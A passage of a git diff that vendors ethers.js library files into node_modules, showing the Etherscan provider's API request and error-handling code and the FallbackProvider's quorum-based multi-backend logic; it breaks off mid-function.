"arbitrum": + return "https:/\/api.arbiscan.io"; + case "arbitrum-goerli": + return "https:/\/api-goerli.arbiscan.io"; + case "base": + return "https:/\/api.basescan.org"; + case "base-sepolia": + return "https:/\/api-sepolia.basescan.org"; + case "bnb": + return "https:/\/api.bscscan.com"; + case "bnbt": + return "https:/\/api-testnet.bscscan.com"; + case "matic": + return "https:/\/api.polygonscan.com"; + case "matic-amoy": + return "https:/\/api-amoy.polygonscan.com"; + case "matic-mumbai": + return "https:/\/api-testnet.polygonscan.com"; + case "optimism": + return "https:/\/api-optimistic.etherscan.io"; + case "optimism-goerli": + return "https:/\/api-goerli-optimistic.etherscan.io"; + default: + } + assertArgument(false, "unsupported network", "network", this.network); + } + /** + * Returns the URL for the %%module%% and %%params%%. + */ + getUrl(module, params) { + let query = Object.keys(params).reduce((accum, key) => { + const value = params[key]; + if (value != null) { + accum += `&${key}=${value}`; + } + return accum; + }, ""); + if (this.apiKey) { + query += `&apikey=${this.apiKey}`; + } + return `https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}&module=${module}${query}`; + } + /** + * Returns the URL for using POST requests. + */ + getPostUrl() { + return `https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}`; + } + /** + * Returns the parameters for using POST requests. + */ + getPostData(module, params) { + params.module = module; + params.apikey = this.apiKey; + params.chainid = this.network.chainId; + return params; + } + async detectNetwork() { + return this.network; + } + /** + * Resolves to the result of calling %%module%% with %%params%%. + * + * If %%post%%, the request is made as a POST request. + */ + async fetch(module, params, post) { + const id = nextId++; + const url = (post ? this.getPostUrl() : this.getUrl(module, params)); + const payload = (post ? this.getPostData(module, params) : null); + this.emit("debug", { action: "sendRequest", id, url, payload: payload }); + const request = new FetchRequest(url); + request.setThrottleParams({ slotInterval: 1000 }); + request.retryFunc = (req, resp, attempt) => { + if (this.isCommunityResource()) { + showThrottleMessage("Etherscan"); + } + return Promise.resolve(true); + }; + request.processFunc = async (request, response) => { + const result = response.hasBody() ? JSON.parse(toUtf8String(response.body)) : {}; + const throttle = ((typeof (result.result) === "string") ? result.result : "").toLowerCase().indexOf("rate limit") >= 0; + if (module === "proxy") { + // This JSON response indicates we are being throttled + if (result && result.status == 0 && result.message == "NOTOK" && throttle) { + this.emit("debug", { action: "receiveError", id, reason: "proxy-NOTOK", error: result }); + response.throwThrottleError(result.result, THROTTLE); + } + } + else { + if (throttle) { + this.emit("debug", { action: "receiveError", id, reason: "null result", error: result.result }); + response.throwThrottleError(result.result, THROTTLE); + } + } + return response; + }; + if (payload) { + request.setHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8"); + request.body = Object.keys(payload).map((k) => `${k}=${payload[k]}`).join("&"); + } + const response = await request.send(); + try { + response.assertOk(); + } + catch (error) { + this.emit("debug", { action: "receiveError", id, error, reason: "assertOk" }); + assert(false, "response error", "SERVER_ERROR", { request, response }); + } + if (!response.hasBody()) { + this.emit("debug", { action: "receiveError", id, error: "missing body", reason: "null body" }); + assert(false, "missing response", "SERVER_ERROR", { request, response }); + } + const result = JSON.parse(toUtf8String(response.body)); + if (module === "proxy") { + if (result.jsonrpc != "2.0") { + this.emit("debug", { action: "receiveError", id, result, reason: "invalid JSON-RPC" }); + assert(false, "invalid JSON-RPC response (missing jsonrpc='2.0')", "SERVER_ERROR", { request, response, info: { result } }); + } + if (result.error) { + this.emit("debug", { action: "receiveError", id, result, reason: "JSON-RPC error" }); + assert(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + else { + // getLogs, getHistory have weird success responses + if (result.status == 0 && (result.message === "No records found" || result.message === "No transactions found")) { + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + if (result.status != 1 || (typeof (result.message) === "string" && !result.message.match(/^OK/))) { + this.emit("debug", { action: "receiveError", id, result }); + assert(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + } + /** + * Returns %%transaction%% normalized for the Etherscan API. + */ + _getTransactionPostData(transaction) { + const result = {}; + for (let key in transaction) { + if (skipKeys.indexOf(key) >= 0) { + continue; + } + if (transaction[key] == null) { + continue; + } + let value = transaction[key]; + if (key === "type" && value === 0) { + continue; + } + if (key === "blockTag" && value === "latest") { + continue; + } + // Quantity-types require no leading zero, unless 0 + if ({ type: true, gasLimit: true, gasPrice: true, maxFeePerGs: true, maxPriorityFeePerGas: true, nonce: true, value: true }[key]) { + value = toQuantity(value); + } + else if (key === "accessList") { + value = "[" + accessListify(value).map((set) => { + return `{address:"${set.address}",storageKeys:["${set.storageKeys.join('","')}"]}`; + }).join(",") + "]"; + } + else if (key === "blobVersionedHashes") { + if (value.length === 0) { + continue; + } + // @TODO: update this once the API supports blobs + assert(false, "Etherscan API does not support blobVersionedHashes", "UNSUPPORTED_OPERATION", { + operation: "_getTransactionPostData", + info: { transaction } + }); + } + else { + value = hexlify(value); + } + result[key] = value; + } + return result; + } + /** + * Throws the normalized Etherscan error. + */ + _checkError(req, error, transaction) { + // Pull any message out if, possible + let message = ""; + if (isError(error, "SERVER_ERROR")) { + // Check for an error emitted by a proxy call + try { + message = error.info.result.error.message; + } + catch (e) { } + if (!message) { + try { + message = error.info.message; + } + catch (e) { } + } + } + if (req.method === "estimateGas") { + if (!message.match(/revert/i) && message.match(/insufficient funds/i)) { + assert(false, "insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: req.transaction + }); + } + } + if (req.method === "call" || req.method === "estimateGas") { + if (message.match(/execution reverted/i)) { + let data = ""; + try { + data = error.info.result.error.data; + } + catch (error) { } + const e = AbiCoder.getBuiltinCallException(req.method, req.transaction, data); + e.info = { request: req, error }; + throw e; + } + } + if (message) { + if (req.method === "broadcastTransaction") { + const transaction = Transaction.from(req.signedTransaction); + if (message.match(/replacement/i) && message.match(/underpriced/i)) { + assert(false, "replacement fee too low", "REPLACEMENT_UNDERPRICED", { + transaction + }); + } + if (message.match(/insufficient funds/)) { + assert(false, "insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction + }); + } + if (message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)) { + assert(false, "nonce has already been used", "NONCE_EXPIRED", { + transaction + }); + } + } + } + // Something we could not process + throw error; + } + async _detectNetwork() { + return this.network; + } + async _perform(req) { + switch (req.method) { + case "chainId": + return this.network.chainId; + case "getBlockNumber": + return this.fetch("proxy", { action: "eth_blockNumber" }); + case "getGasPrice": + return this.fetch("proxy", { action: "eth_gasPrice" }); + case "getPriorityFee": + // This is temporary until Etherscan completes support + if (this.network.name === "mainnet") { + return "1000000000"; + } + else if (this.network.name === "optimism") { + return "1000000"; + } + else { + throw new Error("fallback onto the AbstractProvider default"); + } + /* Working with Etherscan to get this added: + try { + const test = await this.fetch("proxy", { + action: "eth_maxPriorityFeePerGas" + }); + console.log(test); + return test; + } catch (e) { + console.log("DEBUG", e); + throw e; + } + */ + /* This might be safe; but due to rounding neither myself + or Etherscan are necessarily comfortable with this. :) + try { + const result = await this.fetch("gastracker", { action: "gasoracle" }); + console.log(result); + const gasPrice = parseUnits(result.SafeGasPrice, "gwei"); + const baseFee = parseUnits(result.suggestBaseFee, "gwei"); + const priorityFee = gasPrice - baseFee; + if (priorityFee < 0) { throw new Error("negative priority fee; defer to abstract provider default"); } + return priorityFee; + } catch (error) { + console.log("DEBUG", error); + throw error; + } + */ + case "getBalance": + // Returns base-10 result + return this.fetch("account", { + action: "balance", + address: req.address, + tag: req.blockTag + }); + case "getTransactionCount": + return this.fetch("proxy", { + action: "eth_getTransactionCount", + address: req.address, + tag: req.blockTag + }); + case "getCode": + return this.fetch("proxy", { + action: "eth_getCode", + address: req.address, + tag: req.blockTag + }); + case "getStorage": + return this.fetch("proxy", { + action: "eth_getStorageAt", + address: req.address, + position: req.position, + tag: req.blockTag + }); + case "broadcastTransaction": + return this.fetch("proxy", { + action: "eth_sendRawTransaction", + hex: req.signedTransaction + }, true).catch((error) => { + return this._checkError(req, error, req.signedTransaction); + }); + case "getBlock": + if ("blockTag" in req) { + return this.fetch("proxy", { + action: "eth_getBlockByNumber", + tag: req.blockTag, + boolean: (req.includeTransactions ? "true" : "false") + }); + } + assert(false, "getBlock by blockHash not supported by Etherscan", "UNSUPPORTED_OPERATION", { + operation: "getBlock(blockHash)" + }); + case "getTransaction": + return this.fetch("proxy", { + action: "eth_getTransactionByHash", + txhash: req.hash + }); + case "getTransactionReceipt": + return this.fetch("proxy", { + action: "eth_getTransactionReceipt", + txhash: req.hash + }); + case "call": { + if (req.blockTag !== "latest") { + throw new Error("EtherscanProvider does not support blockTag for call"); + } + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_call"; + try { + return await this.fetch("proxy", postData, true); + } + catch (error) { + return this._checkError(req, error, req.transaction); + } + } + case "estimateGas": { + const postData = this._getTransactionPostData(req.transaction); + postData.module = "proxy"; + postData.action = "eth_estimateGas"; + try { + return await this.fetch("proxy", postData, true); + } + catch (error) { + return this._checkError(req, error, req.transaction); + } + } + /* + case "getLogs": { + // Needs to complain if more than one address is passed in + const args: Record = { action: "getLogs" } + + if (params.filter.fromBlock) { + args.fromBlock = checkLogTag(params.filter.fromBlock); + } + + if (params.filter.toBlock) { + args.toBlock = checkLogTag(params.filter.toBlock); + } + + if (params.filter.address) { + args.address = params.filter.address; + } + + // @TODO: We can handle slightly more complicated logs using the logs API + if (params.filter.topics && params.filter.topics.length > 0) { + if (params.filter.topics.length > 1) { + logger.throwError("unsupported topic count", Logger.Errors.UNSUPPORTED_OPERATION, { topics: params.filter.topics }); + } + if (params.filter.topics.length === 1) { + const topic0 = params.filter.topics[0]; + if (typeof(topic0) !== "string" || topic0.length !== 66) { + logger.throwError("unsupported topic format", Logger.Errors.UNSUPPORTED_OPERATION, { topic0: topic0 }); + } + args.topic0 = topic0; + } + } + + const logs: Array = await this.fetch("logs", args); + + // Cache txHash => blockHash + let blocks: { [tag: string]: string } = {}; + + // Add any missing blockHash to the logs + for (let i = 0; i < logs.length; i++) { + const log = logs[i]; + if (log.blockHash != null) { continue; } + if (blocks[log.blockNumber] == null) { + const block = await this.getBlock(log.blockNumber); + if (block) { + blocks[log.blockNumber] = block.hash; + } + } + + log.blockHash = blocks[log.blockNumber]; + } + + return logs; + } + */ + default: + break; + } + return super._perform(req); + } + async getNetwork() { + return this.network; + } + /** + * Resolves to the current price of ether. + * + * This returns ``0`` on any network other than ``mainnet``. + */ + async getEtherPrice() { + if (this.network.name !== "mainnet") { + return 0.0; + } + return parseFloat((await this.fetch("stats", { action: "ethprice" })).ethusd); + } + /** + * Resolves to a [Contract]] for %%address%%, using the + * Etherscan API to retreive the Contract ABI. + */ + async getContract(_address) { + let address = this._getAddress(_address); + if (isPromise(address)) { + address = await address; + } + try { + const resp = await this.fetch("contract", { + action: "getabi", address + }); + const abi = JSON.parse(resp); + return new Contract(address, abi, this); + } + catch (error) { + return null; + } + } + isCommunityResource() { + return (this.apiKey == null); + } +} +//# sourceMappingURL=provider-etherscan.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-etherscan.js.map b/node_modules/ethers/lib.esm/providers/provider-etherscan.js.map new file mode 100644 index 000000000000..f1710e1ff96f --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-etherscan.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-etherscan.js","sourceRoot":"","sources":["../../src.ts/providers/provider-etherscan.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;AAEH,OAAO,EAAE,QAAQ,EAAE,MAAM,iBAAiB,CAAC;AAC3C,OAAO,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAC;AAChD,OAAO,EAAE,aAAa,EAAE,WAAW,EAAE,MAAM,yBAAyB,CAAC;AACrE,OAAO,EACH,gBAAgB,EAChB,OAAO,EAAE,UAAU,EACnB,YAAY,EACZ,MAAM,EAAE,cAAc,EAAE,OAAO;AACnC,iBAAiB;AACb,YAAY,EACd,MAAM,mBAAmB,CAAC;AAE5B,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAC;AACrD,OAAO,EAAE,mBAAmB,EAAE,MAAM,gBAAgB,CAAC;AAOrD,MAAM,QAAQ,GAAG,IAAI,CAAC;AAEtB,SAAS,SAAS,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AAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;YAC7B,OAAO,IAAI,QAAQ,CAAC,OAAO,EAAE,GAAG,EAAE,IAAI,CAAC,CAAC;SAC3C;QAAC,OAAO,KAAK,EAAE;YACZ,OAAO,IAAI,CAAC;SACf;IACL,CAAC;IAED,mBAAmB;QACf,OAAO,CAAC,IAAI,CAAC,MAAM,IAAI,IAAI,CAAC,CAAC;IACjC,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-fallback.d.ts b/node_modules/ethers/lib.esm/providers/provider-fallback.d.ts new file mode 100644 index 000000000000..39d793528ac4 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-fallback.d.ts @@ -0,0 +1,115 @@ +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import type { PerformActionRequest } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +/** + * A configuration entry for how to use a [[Provider]]. + */ +export interface FallbackProviderConfig { + /** + * The provider. + */ + provider: AbstractProvider; + /** + * The amount of time to wait before kicking off the next provider. + * + * Any providers that have not responded can still respond and be + * counted, but this ensures new providers start. + */ + stallTimeout?: number; + /** + * The priority. Lower priority providers are dispatched first. + */ + priority?: number; + /** + * The amount of weight a provider is given against the quorum. + */ + weight?: number; +} +/** + * The statistics and state maintained for a [[Provider]]. + */ +export interface FallbackProviderState extends Required { + /** + * The most recent blockNumber this provider has reported (-2 if none). + */ + blockNumber: number; + /** + * The number of total requests ever sent to this provider. + */ + requests: number; + /** + * The number of responses that errored. + */ + errorResponses: number; + /** + * The number of responses that occured after the result resolved. + */ + lateResponses: number; + /** + * How many times syncing was required to catch up the expected block. + */ + outOfSync: number; + /** + * The number of requests which reported unsupported operation. + */ + unsupportedEvents: number; + /** + * A rolling average (5% current duration) for response time. + */ + rollingDuration: number; + /** + * The ratio of quorum-agreed results to total. + */ + score: number; +} +/** + * Additional options to configure a [[FallbackProvider]]. + */ +export type FallbackProviderOptions = { + quorum?: number; + eventQuorum?: number; + eventWorkers?: number; + cacheTimeout?: number; + pollingInterval?: number; +}; +/** + * A **FallbackProvider** manages several [[Providers]] providing + * resilience by switching between slow or misbehaving nodes, security + * by requiring multiple backends to aggree and performance by allowing + * faster backends to respond earlier. + * + */ +export declare class FallbackProvider extends AbstractProvider { + #private; + /** + * The number of backends that must agree on a value before it is + * accpeted. + */ + readonly quorum: number; + /** + * @_ignore: + */ + readonly eventQuorum: number; + /** + * @_ignore: + */ + readonly eventWorkers: number; + /** + * Creates a new **FallbackProvider** with %%providers%% connected to + * %%network%%. + * + * If a [[Provider]] is included in %%providers%%, defaults are used + * for the configuration. + */ + constructor(providers: Array, network?: Networkish, options?: FallbackProviderOptions); + get providerConfigs(): Array; + _detectNetwork(): Promise; + /** + * Transforms a %%req%% into the correct method call on %%provider%%. + */ + _translatePerform(provider: AbstractProvider, req: PerformActionRequest): Promise; + _perform(req: PerformActionRequest): Promise; + destroy(): Promise; +} +//# sourceMappingURL=provider-fallback.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-fallback.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-fallback.d.ts.map new file mode 100644 index 000000000000..8aa88fa2f77a --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-fallback.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-fallback.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-fallback.ts"],"names":[],"mappings":"AAUA,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAC1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAA;AAEtC,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AACnE,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAA;AA6B9C;;GAEG;AACH,MAAM,WAAW,sBAAsB;IAEnC;;OAEG;IACH,QAAQ,EAAE,gBAAgB,CAAC;IAE3B;;;;;OAKG;IACH,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;IAEK,cAAc,IAAI,OAAO,CAAC,OAAO,CAAC;IASxC;;OAEG;IACG,iBAAiB,CAAC,QAAQ,EAAE,gBAAgB,EAAE,GAAG,EAAE,oBAAoB,GAAG,OAAO,CAAC,GAAG,CAAC;IA6QtF,QAAQ,CAAC,CAAC,GAAG,GAAG,EAAE,GAAG,EAAE,oBAAoB,GAAG,OAAO,CAAC,CAAC,CAAC;IA8ExD,OAAO,IAAI,OAAO,CAAC,IAAI,CAAC;CAMjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-fallback.js b/node_modules/ethers/lib.esm/providers/provider-fallback.js new file mode 100644 index 000000000000..bf330fb73670 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-fallback.js @@ -0,0 +1,620 @@ +/** + * A **FallbackProvider** provides resilience, security and performance + * in a way that is customizable and configurable. + * + * @_section: api/providers/fallback-provider:Fallback Provider [about-fallback-provider] + */ +import { assert, assertArgument, getBigInt, getNumber, isError } from "../utils/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +const BN_1 = BigInt("1"); +const BN_2 = BigInt("2"); +function shuffle(array) { + for (let i = array.length - 1; i > 0; i--) { + const j = Math.floor(Math.random() * (i + 1)); + const tmp = array[i]; + array[i] = array[j]; + array[j] = tmp; + } +} +function stall(duration) { + return new Promise((resolve) => { setTimeout(resolve, duration); }); +} +function getTime() { return (new Date()).getTime(); } +function stringify(value) { + return JSON.stringify(value, (key, value) => { + if (typeof (value) === "bigint") { + return { type: "bigint", value: value.toString() }; + } + return value; + }); +} +; +const defaultConfig = { stallTimeout: 400, priority: 1, weight: 1 }; +const defaultState = { + blockNumber: -2, requests: 0, lateResponses: 0, errorResponses: 0, + outOfSync: -1, unsupportedEvents: 0, rollingDuration: 0, score: 0, + _network: null, _updateNumber: null, _totalTime: 0, + _lastFatalError: null, _lastFatalErrorTimestamp: 0 +}; +async function waitForSync(config, blockNumber) { + while (config.blockNumber < 0 || config.blockNumber < blockNumber) { + if (!config._updateNumber) { + config._updateNumber = (async () => { + try { + const blockNumber = await config.provider.getBlockNumber(); + if (blockNumber > config.blockNumber) { + config.blockNumber = blockNumber; + } + } + catch (error) { + config.blockNumber = -2; + config._lastFatalError = error; + config._lastFatalErrorTimestamp = getTime(); + } + config._updateNumber = null; + })(); + } + await config._updateNumber; + config.outOfSync++; + if (config._lastFatalError) { + break; + } + } +} +function _normalize(value) { + if (value == null) { + return "null"; + } + if (Array.isArray(value)) { + return "[" + (value.map(_normalize)).join(",") + "]"; + } + if (typeof (value) === "object" && typeof (value.toJSON) === "function") { + return _normalize(value.toJSON()); + } + switch (typeof (value)) { + case "boolean": + case "symbol": + return value.toString(); + case "bigint": + case "number": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{" + keys.map((k) => `${JSON.stringify(k)}:${_normalize(value[k])}`).join(",") + "}"; + } + } + console.log("Could not serialize", value); + throw new Error("Hmm..."); +} +function normalizeResult(method, value) { + if ("error" in value) { + const error = value.error; + let tag; + if (isError(error, "CALL_EXCEPTION")) { + tag = _normalize(Object.assign({}, error, { + shortMessage: undefined, reason: undefined, info: undefined + })); + } + else { + tag = _normalize(error); + } + return { tag, value: error }; + } + const result = value.result; + return { tag: _normalize(result), value: result }; +} +// This strategy picks the highest weight result, as long as the weight is +// equal to or greater than quorum +function checkQuorum(quorum, results) { + const tally = new Map(); + for (const { value, tag, weight } of results) { + const t = tally.get(tag) || { value, weight: 0 }; + t.weight += weight; + tally.set(tag, t); + } + let best = null; + for (const r of tally.values()) { + if (r.weight >= quorum && (!best || r.weight > best.weight)) { + best = r; + } + } + if (best) { + return best.value; + } + return undefined; +} +function getMedian(quorum, results) { + let resultWeight = 0; + const errorMap = new Map(); + let bestError = null; + const values = []; + for (const { value, tag, weight } of results) { + if (value instanceof Error) { + const e = errorMap.get(tag) || { value, weight: 0 }; + e.weight += weight; + errorMap.set(tag, e); + if (bestError == null || e.weight > bestError.weight) { + bestError = e; + } + } + else { + values.push(BigInt(value)); + resultWeight += weight; + } + } + if (resultWeight < quorum) { + // We have quorum for an error + if (bestError && bestError.weight >= quorum) { + return bestError.value; + } + // We do not have quorum for a result + return undefined; + } + // Get the sorted values + values.sort((a, b) => ((a < b) ? -1 : (b > a) ? 1 : 0)); + const mid = Math.floor(values.length / 2); + // Odd-length; take the middle value + if (values.length % 2) { + return values[mid]; + } + // Even length; take the ceiling of the mean of the center two values + return (values[mid - 1] + values[mid] + BN_1) / BN_2; +} +function getAnyResult(quorum, results) { + // If any value or error meets quorum, that is our preferred result + const result = checkQuorum(quorum, results); + if (result !== undefined) { + return result; + } + // Otherwise, do we have any result? + for (const r of results) { + if (r.value) { + return r.value; + } + } + // Nope! + return undefined; +} +function getFuzzyMode(quorum, results) { + if (quorum === 1) { + return getNumber(getMedian(quorum, results), "%internal"); + } + const tally = new Map(); + const add = (result, weight) => { + const t = tally.get(result) || { result, weight: 0 }; + t.weight += weight; + tally.set(result, t); + }; + for (const { weight, value } of results) { + const r = getNumber(value); + add(r - 1, weight); + add(r, weight); + add(r + 1, weight); + } + let bestWeight = 0; + let bestResult = undefined; + for (const { weight, result } of tally.values()) { + // Use this result, if this result meets quorum and has either: + // - a better weight + // - or equal weight, but the result is larger + if (weight >= quorum && (weight > bestWeight || (bestResult != null && weight === bestWeight && result > bestResult))) { + bestWeight = weight; + bestResult = result; + } + } + return bestResult; +} +/** + * A **FallbackProvider** manages several [[Providers]] providing + * resilience by switching between slow or misbehaving nodes, security + * by requiring multiple backends to aggree and performance by allowing + * faster backends to respond earlier. + * + */ +export class FallbackProvider extends AbstractProvider { + /** + * The number of backends that must agree on a value before it is + * accpeted. + */ + quorum; + /** + * @_ignore: + */ + eventQuorum; + /** + * @_ignore: + */ + eventWorkers; + #configs; + #height; + #initialSyncPromise; + /** + * Creates a new **FallbackProvider** with %%providers%% connected to + * %%network%%. + * + * If a [[Provider]] is included in %%providers%%, defaults are used + * for the configuration. + */ + constructor(providers, network, options) { + super(network, options); + this.#configs = providers.map((p) => { + if (p instanceof AbstractProvider) { + return Object.assign({ provider: p }, defaultConfig, defaultState); + } + else { + return Object.assign({}, defaultConfig, p, defaultState); + } + }); + this.#height = -2; + this.#initialSyncPromise = null; + if (options && options.quorum != null) { + this.quorum = options.quorum; + } + else { + this.quorum = Math.ceil(this.#configs.reduce((accum, config) => { + accum += config.weight; + return accum; + }, 0) / 2); + } + this.eventQuorum = 1; + this.eventWorkers = 1; + assertArgument(this.quorum <= this.#configs.reduce((a, c) => (a + c.weight), 0), "quorum exceed provider weight", "quorum", this.quorum); + } + get providerConfigs() { + return this.#configs.map((c) => { + const result = Object.assign({}, c); + for (const key in result) { + if (key[0] === "_") { + delete result[key]; + } + } + return result; + }); + } + async _detectNetwork() { + return Network.from(getBigInt(await this._perform({ method: "chainId" }))); + } + // @TODO: Add support to select providers to be the event subscriber + //_getSubscriber(sub: Subscription): Subscriber { + // throw new Error("@TODO"); + //} + /** + * Transforms a %%req%% into the correct method call on %%provider%%. + */ + async _translatePerform(provider, req) { + switch (req.method) { + case "broadcastTransaction": + return await provider.broadcastTransaction(req.signedTransaction); + case "call": + return await provider.call(Object.assign({}, req.transaction, { blockTag: req.blockTag })); + case "chainId": + return (await provider.getNetwork()).chainId; + case "estimateGas": + return await provider.estimateGas(req.transaction); + case "getBalance": + return await provider.getBalance(req.address, req.blockTag); + case "getBlock": { + const block = ("blockHash" in req) ? req.blockHash : req.blockTag; + return await provider.getBlock(block, req.includeTransactions); + } + case "getBlockNumber": + return await provider.getBlockNumber(); + case "getCode": + return await provider.getCode(req.address, req.blockTag); + case "getGasPrice": + return (await provider.getFeeData()).gasPrice; + case "getPriorityFee": + return (await provider.getFeeData()).maxPriorityFeePerGas; + case "getLogs": + return await provider.getLogs(req.filter); + case "getStorage": + return await provider.getStorage(req.address, req.position, req.blockTag); + case "getTransaction": + return await provider.getTransaction(req.hash); + case "getTransactionCount": + return await provider.getTransactionCount(req.address, req.blockTag); + case "getTransactionReceipt": + return await provider.getTransactionReceipt(req.hash); + case "getTransactionResult": + return await provider.getTransactionResult(req.hash); + } + } + // Grab the next (random) config that is not already part of + // the running set + #getNextConfig(running) { + // @TODO: Maybe do a check here to favour (heavily) providers that + // do not require waitForSync and disfavour providers that + // seem down-ish or are behaving slowly + const configs = Array.from(running).map((r) => r.config); + // Shuffle the states, sorted by priority + const allConfigs = this.#configs.slice(); + shuffle(allConfigs); + allConfigs.sort((a, b) => (a.priority - b.priority)); + for (const config of allConfigs) { + if (config._lastFatalError) { + continue; + } + if (configs.indexOf(config) === -1) { + return config; + } + } + return null; + } + // Adds a new runner (if available) to running. + #addRunner(running, req) { + const config = this.#getNextConfig(running); + // No runners available + if (config == null) { + return null; + } + // Create a new runner + const runner = { + config, result: null, didBump: false, + perform: null, staller: null + }; + const now = getTime(); + // Start performing this operation + runner.perform = (async () => { + try { + config.requests++; + const result = await this._translatePerform(config.provider, req); + runner.result = { result }; + } + catch (error) { + config.errorResponses++; + runner.result = { error }; + } + const dt = (getTime() - now); + config._totalTime += dt; + config.rollingDuration = 0.95 * config.rollingDuration + 0.05 * dt; + runner.perform = null; + })(); + // Start a staller; when this times out, it's time to force + // kicking off another runner because we are taking too long + runner.staller = (async () => { + await stall(config.stallTimeout); + runner.staller = null; + })(); + running.add(runner); + return runner; + } + // Initializes the blockNumber and network for each runner and + // blocks until initialized + async #initialSync() { + let initialSync = this.#initialSyncPromise; + if (!initialSync) { + const promises = []; + this.#configs.forEach((config) => { + promises.push((async () => { + await waitForSync(config, 0); + if (!config._lastFatalError) { + config._network = await config.provider.getNetwork(); + } + })()); + }); + this.#initialSyncPromise = initialSync = (async () => { + // Wait for all providers to have a block number and network + await Promise.all(promises); + // Check all the networks match + let chainId = null; + for (const config of this.#configs) { + if (config._lastFatalError) { + continue; + } + const network = (config._network); + if (chainId == null) { + chainId = network.chainId; + } + else if (network.chainId !== chainId) { + assert(false, "cannot mix providers on different networks", "UNSUPPORTED_OPERATION", { + operation: "new FallbackProvider" + }); + } + } + })(); + } + await initialSync; + } + async #checkQuorum(running, req) { + // Get all the result objects + const results = []; + for (const runner of running) { + if (runner.result != null) { + const { tag, value } = normalizeResult(req.method, runner.result); + results.push({ tag, value, weight: runner.config.weight }); + } + } + // Are there enough results to event meet quorum? + if (results.reduce((a, r) => (a + r.weight), 0) < this.quorum) { + return undefined; + } + switch (req.method) { + case "getBlockNumber": { + // We need to get the bootstrap block height + if (this.#height === -2) { + this.#height = Math.ceil(getNumber(getMedian(this.quorum, this.#configs.filter((c) => (!c._lastFatalError)).map((c) => ({ + value: c.blockNumber, + tag: getNumber(c.blockNumber).toString(), + weight: c.weight + }))))); + } + // Find the mode across all the providers, allowing for + // a little drift between block heights + const mode = getFuzzyMode(this.quorum, results); + if (mode === undefined) { + return undefined; + } + if (mode > this.#height) { + this.#height = mode; + } + return this.#height; + } + case "getGasPrice": + case "getPriorityFee": + case "estimateGas": + return getMedian(this.quorum, results); + case "getBlock": + // Pending blocks are in the mempool and already + // quite untrustworthy; just grab anything + if ("blockTag" in req && req.blockTag === "pending") { + return getAnyResult(this.quorum, results); + } + return checkQuorum(this.quorum, results); + case "call": + case "chainId": + case "getBalance": + case "getTransactionCount": + case "getCode": + case "getStorage": + case "getTransaction": + case "getTransactionReceipt": + case "getLogs": + return checkQuorum(this.quorum, results); + case "broadcastTransaction": + return getAnyResult(this.quorum, results); + } + assert(false, "unsupported method", "UNSUPPORTED_OPERATION", { + operation: `_perform(${stringify(req.method)})` + }); + } + async #waitForQuorum(running, req) { + if (running.size === 0) { + throw new Error("no runners?!"); + } + // Any promises that are interesting to watch for; an expired stall + // or a successful perform + const interesting = []; + let newRunners = 0; + for (const runner of running) { + // No responses, yet; keep an eye on it + if (runner.perform) { + interesting.push(runner.perform); + } + // Still stalling... + if (runner.staller) { + interesting.push(runner.staller); + continue; + } + // This runner has already triggered another runner + if (runner.didBump) { + continue; + } + // Got a response (result or error) or stalled; kick off another runner + runner.didBump = true; + newRunners++; + } + // Check if we have reached quorum on a result (or error) + const value = await this.#checkQuorum(running, req); + if (value !== undefined) { + if (value instanceof Error) { + throw value; + } + return value; + } + // Add any new runners, because a staller timed out or a result + // or error response came in. + for (let i = 0; i < newRunners; i++) { + this.#addRunner(running, req); + } + // All providers have returned, and we have no result + assert(interesting.length > 0, "quorum not met", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: Array.from(running).map((r) => stringify(r.result)) } + }); + // Wait for someone to either complete its perform or stall out + await Promise.race(interesting); + // This is recursive, but at worst case the depth is 2x the + // number of providers (each has a perform and a staller) + return await this.#waitForQuorum(running, req); + } + async _perform(req) { + // Broadcasting a transaction is rare (ish) and already incurs + // a cost on the user, so spamming is safe-ish. Just send it to + // every backend. + if (req.method === "broadcastTransaction") { + // Once any broadcast provides a positive result, use it. No + // need to wait for anyone else + const results = this.#configs.map((c) => null); + const broadcasts = this.#configs.map(async ({ provider, weight }, index) => { + try { + const result 